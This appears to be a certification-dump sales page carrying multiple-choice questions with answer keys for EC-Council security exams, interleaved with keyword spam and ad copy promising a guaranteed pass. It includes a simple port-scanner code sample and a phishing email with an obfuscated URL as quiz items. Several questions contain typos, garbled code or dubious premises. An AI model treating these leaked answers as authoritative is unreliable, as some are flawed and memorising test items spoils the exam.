EC-COUNCIL certification   312-92   312-92   312-92   312-92

NO.11 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

EC-COUNCIL   312-92 exam prep   312-92

NO.12 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

EC-COUNCIL   312-92 test   312-92   312-92

NO.13 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

EC-COUNCIL   312-92 exam simulations   312-92 exam dumps   312-92   312-92 exam prep   312-92

NO.14 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

EC-COUNCIL answers real questions   312-92   312-92   312-92 exam prep

NO.15 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL exam simulations   312-92   312-92   312-92   312-92

ITCertKing offer the latest HP2-N42 exam material and high-quality MB6-886 pdf questions & answers. Our HP0-J62 VCE testing engine and 00M-663 study guide can help you pass the real exam. High-quality VCAC510 dumps training materials can 100% guarantee you pass the exam faster and easier. Pass the exam to obtain certification is so simple.

Article Link: http://www.itcertking.com/312-92_exam.html

312-50 examination of the latest EC-COUNCIL certification exam questions and answers

Our ITCertKing is a professional website to provide accurate exam material for a variety of IT certification exams. And ITCertKing can help many IT professionals enhance their career goals. The strength of our the IT elite team will make you feel incredible. You can try to free download part of the exam questions and answers about EC-COUNCIL certification 312-50 exam to measure the reliability of our ITCertKing.

Many people think that passing some difficult IT certification exams needs to be proficient in much of IT expertise and only these IT personnels who grasp the comprehensive IT knowledge would be able to enroll in the exam. In fact, there are many ways to help you make up for your lack of knowledge, and pass the IT certification exams in the same. Perhaps you would spend less time and effort than the people who grasp fairly comprehensive expertise. The saying goes, all roads lead to Rome.

Now there are many IT professionals in the world and the competition of IT industry is very fierce. So many IT professionals will choose to participate in the IT certification exam to improve their position in the IT industry. 312-50 exam is a very important EC-COUNCIL's certification exam. But if you want to get a EC-COUNCIL certification, you must pass the exam.

Exam Code: 312-50
Exam Name: EC-COUNCIL (Ethical Hacker Certified)
One year free update, No help, Full refund!
Total Q&A: 765 Questions and Answers
Last Update: 2013-11-05

ITCertKing help you to find real EC-COUNCIL 312-50 exam preparation process in a real environment. If you are a beginner, and if you want to improve your professional skills, ITCertKing EC-COUNCIL 312-50 exam braindumps will help you to achieve your desire step by step. If you have any questions about the exam, ITCertKing the EC-COUNCIL 312-50 will help you to solve them. Within a year, we provide free updates. Please pay more attention to our website.

All the IT professionals are familiar with the EC-COUNCIL 312-50 exam. And everyone dreams pass this demanding exam. EC-COUNCIL 312-50 exam certification is generally accepted as the highest level. Do you have it? About the so-called demanding, that is difficult to pass the exam. This does not matter, with the ITCertKing's EC-COUNCIL 312-50 exam training materials in hand, you will pass the exam successfully. You feel the exam is demanding is because that you do not choose a good method. Select the ITCertKing, then you will hold the hand of success, and never miss it.

In the such a brilliant era of IT industry in the 21st century competition is very fierce. Naturally, EC-COUNCIL certification 312-50 exam has become a very popular exam in the IT area. More and more people register for the exam and passing the certification exam is also those ambitious IT professionals' dream.

312-50 Free Demo Download: http://www.itcertking.com/312-50_exam.html

NO.1 You receive an email with the following message:
Hello Steve,
We are having technical difficulty in restoring user database record after the recent
blackout. Your account data is corrupted. Please logon to the SuperEmailServices.com
and change your password.
http://www.supermailservices.com@0xde.0xad.0xbe.0xef/support/logon.htm
If you do not reset your password within 7 days, your account will be permanently
disabled locking you out from our e-mail services.
Sincerely,
Technical Support
SuperEmailServices
From this e-mail you suspect that this message was sent by some hacker since you
have been using their e-mail services for the last 2 years and they have never sent
out an e-mail such as this. You also observe the URL in the message and confirm
your suspicion about 0xde.0xad.0xbde.0xef which looks like hexadecimal numbers.
You immediately enter the following at Windows 2000 command prompt:
Ping0xde.0xad.0xbe.0xef
You get a response with a valid IP address.
What is the obstructed IP address in the e-mail URL?
A. 222.173.190.239
B. 233.34.45.64
C. 54.23.56.55
D. 199.223.23.45
Answer: A

EC-COUNCIL original questions   312-50 questions   312-50 test answers

NO.2 What is "Hacktivism"?
A. Hacking for a cause
B. Hacking ruthlessly
C. An association which groups activists
D. None of the above
Answer: A

EC-COUNCIL certification   312-50   312-50 practice test

NO.3 Your Certkiller trainee Sandra asks you which are the four existing Regional
Internet Registry (RIR's)?
A. APNIC, PICNIC, ARIN, LACNIC
B. RIPE NCC, LACNIC, ARIN, APNIC
C. RIPE NCC, NANIC, ARIN, APNIC
D. RIPE NCC, ARIN, APNIC, LATNIC
Answer: B

EC-COUNCIL exam simulations   312-50   312-50 questions   312-50 study guide   312-50

NO.4 Which of the following tools are used for footprinting?(Choose four.
A. Sam Spade
B. NSLookup
C. Traceroute
D. Neotrace
E. Cheops
Answer: A, B, C, D

EC-COUNCIL exam dumps   312-50 practice test   312-50   312-50 questions   312-50 test   312-50

NO.5 To what does "message repudiation" refer to what concept in the realm of email
security?
A. Message repudiation means a user can validate which mail server or servers a message
was passed through.
B. Message repudiation means a user can claim damages for a mail message that
damaged their reputation.
C. Message repudiation means a recipient can be sure that a message was sent from a
particular person.
D. Message repudiation means a recipient can be sure that a message was sent from a
certain host.
E. Message repudiation means a sender can claim they did not actually send a particular
message.
Answer: E

EC-COUNCIL answers real questions   312-50   312-50 exam

NO.6 What does the term "Ethical Hacking" mean?
A. Someone who is hacking for ethical reasons.
B. Someone who is using his/her skills for ethical reasons.
C. Someone who is using his/her skills for defensive purposes.
D. Someone who is using his/her skills for offensive purposes.
Answer: C

EC-COUNCIL certification   312-50   312-50

NO.7 What is the essential difference between an 'Ethical Hacker' and a 'Cracker'?
A. The ethical hacker does not use the same techniques or skills as a cracker.
B. The ethical hacker does it strictly for financial motives unlike a cracker.
C. The ethical hacker has authorization from the owner of the target.
D. The ethical hacker is just a cracker who is getting paid.
Answer: C

EC-COUNCIL answers real questions   312-50 questions   312-50 braindump   312-50 exam dumps

NO.8 Who is an Ethical Hacker?
A. A person whohacksfor ethical reasons
B. A person whohacksfor an ethical cause
C. A person whohacksfor defensive purposes
D. A person whohacksfor offensive purposes
Answer: C

EC-COUNCIL exam dumps   312-50   312-50 demo   312-50   312-50 certification training   312-50

NO.9 A Certkiller security System Administrator is reviewing the network system log files.
He notes the following:
- Network log files are at 5 MB at 12:00 noon.
-At 14:00 hours, the log files at 3 MB.
What should he assume has happened and what should he do about the situation?
A. He should contact the attacker's ISP as soon as possible and have the connection
disconnected.
B. He should log the event as suspicious activity, continue to investigate, and take further
steps according to site security policy.
C. He should log the file size, and archive the information, because the router crashed.
D. He should run a file system check, because the Syslog server has a self correcting file
system problem.
E. He should disconnect from the Internet discontinue any further unauthorized use,
because an attack has taken place.
Answer: B

EC-COUNCIL   312-50 practice test   312-50

NO.10 Which of the following activities will NOT be considered as passive footprinting?
A. Go through the rubbish to find out any information that might have been discarded.
B. Search on financial site such as Yahoo Financial to identify assets.
C. Scan the range of IP address found in the target DNS database.
D. Perform multiples queries using a search engine.
Answer: C

EC-COUNCIL   312-50 braindump   312-50   312-50 answers real questions   312-50

NO.11 Where should a security tester be looking for information that could be used by an
attacker against an organization? (Select all that apply)
A. CHAT rooms
B. WHOIS database
C. News groups
D. Web sites
E. Search engines
F. Organization's own web site
Answer: A, B, C, D, E, F

EC-COUNCIL   312-50   312-50 exam prep   312-50 dumps   312-50 practice test

NO.12 User which Federal Statutes does FBI investigate for computer crimes involving
e-mail scams and mail fraud?
A. 18 U.S.C 1029 Possession of Access Devices
B. 18 U.S.C 1030 Fraud and related activity in connection with computers
C. 18 U.S.C 1343 Fraud by wire, radio or television
D. 18 U.S.C 1361 Injury to Government Property
E. 18 U.S.C 1362 Government communication systems
F. 18 U.S.C 1831 Economic Espionage Act
G. 18 U.S.C 1832 Trade Secrets Act
Answer: B

EC-COUNCIL study guide   312-50   312-50 pdf   312-50 test   312-50 practice test

NO.13 According to the CEH methodology, what is the next step to be performed after
footprinting?
A. Enumeration
B. Scanning
C. System Hacking
D. Social Engineering
E. Expanding Influence
Answer: B

EC-COUNCIL answers real questions   312-50   312-50 exam   312-50 exam dumps

NO.14 You are footprinting an organization to gather competitive intelligence. You visit
the company's website for contact information and telephone numbers but do not
find it listed there. You know that they had the entire staff directory listed on their
website 12 months ago but not it is not there.
How would it be possible for you to retrieve information from the website that is
outdated?
A. Visit google's search engine and view the cached copy.
B. Visit Archive.org web site to retrieve the Internet archive of the company's website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL test answers   312-50 dumps   312-50 braindump   312-50

NO.15 Which one of the following is defined as the process of distributing incorrect
Internet Protocol (IP) addresses/names with the intent of diverting traffic?
A. Network aliasing
B. Domain Name Server (DNS) poisoning
C. Reverse Address Resolution Protocol (ARP)
D. Port scanning
Answer: B

EC-COUNCIL certification training   312-50 braindump   312-50   312-50

NO.16 A very useful resource for passively gathering information about a target company
is:
A. Host scanning
B. Whois search
C. Traceroute
D. Ping sweep
Answer: B

EC-COUNCIL test answers   312-50   312-50 test answers   312-50 test   312-50

NO.17 How does Traceroute map the route that a packet travels from point A to point B?
A. It uses a TCP Timestamp packet that will elicit a time exceed in transit message.
B. It uses a protocol that will be rejected at the gateways on its way to its destination.
C. It manipulates the value of time to live (TTL) parameter packet to elicit a time
exceeded in transit message.
D. It manipulated flags within packets to force gateways into generating error messages.
Answer: C

EC-COUNCIL   312-50   312-50 braindump   312-50 exam simulations

NO.18 What are the two basic types of attacks?(Choose two.
A. DoS
B. Passive
C. Sniffing
D. Active
E. Cracking
Answer: B, D

EC-COUNCIL   312-50 practice test   312-50   312-50 exam simulations

NO.19 Snort has been used to capture packets on the network. On studying the packets, the
penetration tester finds it to be abnormal. If you were the penetration tester, why
would you find this abnormal?
(Note: The student is being tested on concept learnt during passive OS
fingerprinting, basic TCP/IP connection concepts and the ability to read packet
signatures from a sniff dumo.)
05/20-17:06:45.061034 192.160.13.4:31337 -> 172.16.1.101:1
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seq: 0XA1D95 Ack: 0x53 Win: 0x400
...
05/20-17:06:58.685879 192.160.13.4:31337 ->
172.16.1.101:1024
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seg: 0XA1D95 Ack: 0x53 Win: 0x400
What is odd about this attack? (Choose the most appropriate statement)
A. This is not a spoofed packet as the IP stack has increasing numbers for the three flags.
B. This is back orifice activity as the scan comes from port 31337.
C. The attacker wants to avoid creating a sub-carrier connection that is not normally
valid.
D. There packets were created by a tool; they were not created by a standard IP stack.
Answer: B

EC-COUNCIL   312-50 practice test   312-50   312-50 practice test

NO.20 You are footprinting Acme.com to gather competitive intelligence. You visit the
acme.com websire for contact information and telephone number numbers but do
not find it listed there. You know that they had the entire staff directory listed on
their website 12 months ago but now it is not there. How would it be possible for you
to retrieve information from the website that is outdated?
A. Visit google search engine and view the cached copy.
B. Visit Archive.org site to retrieve the Internet archive of the acme website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL certification   312-50 test   312-50   312-50   312-50 test

ITCertKing offer the latest 70-463 exam material and high-quality MB5-858 pdf questions & answers. Our 70-483 VCE testing engine and E20-554 study guide can help you pass the real exam. High-quality LOT-407 dumps training materials can 100% guarantee you pass the exam faster and easier. Pass the exam to obtain certification is so simple.

Article Link: http://www.itcertking.com/312-50_exam.html